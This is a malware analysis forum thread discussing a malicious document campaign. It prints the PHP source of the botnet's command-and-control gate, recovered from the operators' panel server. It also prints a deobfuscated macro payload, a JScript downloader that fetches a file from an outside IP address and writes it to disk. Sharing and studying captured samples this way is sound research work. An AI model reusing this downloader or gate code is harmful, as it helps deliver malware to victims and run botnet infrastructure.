http://www.bleepingcomputer.com/news/se ... rk-shares/
https://otx.alienvault.com/pulse/56c2ff ... 1b90743cf/
Attachments
(125.79 KiB) Downloaded 446 times
A forum for reverse engineering, OS internals and malware analysis
<?php
declare(strict_types=1);
require_once(__DIR__.'/settings.php');
require_once(__DIR__.'/functions.php');
if (!isset($_SERVER['REQUEST_METHOD']) || $_SERVER['REQUEST_METHOD'] != 'POST') exit_error(404);
if (!($data = @file_get_contents('php://input'))) exit_error(404);
parse_str(decrypt_bot_request($data), $_POST);
if (empty($_POST['id']) || empty($_POST['act'])) exit_error(404);
$id = get_id();
/*
$data = print_r($_POST, true);
$fh = fopen('ppplog', 'a');
fwrite($fh, $data."\n----------------------------\n");
fclose($fh);
*/
$script = __DIR__.'/actions/'.trim(basename($_POST['act'])).'.php';
if (!@file_exists($script)) exit_error(404);
require_once($script);
?>
eli wrote:Seems like it stopped working. Servers taken down?maddog4012's doc file starts a macro with some ofuscated vb-code and decodes to following code:
function downloadToFile(url,file)
{
var xhr=new ActiveXObject("msxml2.xmlhttp");
ado=new ActiveXObject("ADODB.Stream");
xhr.open("GET",url,false);
xhr.send();
if(xhr.status===200)
{
ado.type=1;
ado.open();
ado.write(xhr.responseBody);
ado.saveToFile(file);
ado.close();
return xhr.responseBody;
}
}
downloadToFile('http://66.133.129.5/~chuckgilbert/09u8h76f/65fg67n',fundamentally);
benkow_ wrote:Not really usefull but during some minutes, the panel server has some problem and we was been able to download php files.
gates: (main.php)Code: Select all<?php declare(strict_types=1); require_once(__DIR__.'/settings.php'); require_once(__DIR__.'/functions.php'); if (!isset($_SERVER['REQUEST_METHOD']) || $_SERVER['REQUEST_METHOD'] != 'POST') exit_error(404); if (!($data = @file_get_contents('php://input'))) exit_error(404); parse_str(decrypt_bot_request($data), $_POST); if (empty($_POST['id']) || empty($_POST['act'])) exit_error(404); $id = get_id(); /* $data = print_r($_POST, true); $fh = fopen('ppplog', 'a'); fwrite($fh, $data."\n----------------------------\n"); fclose($fh); */ $script = __DIR__.'/actions/'.trim(basename($_POST['act'])).'.php'; if (!@file_exists($script)) exit_error(404); require_once($script); ?>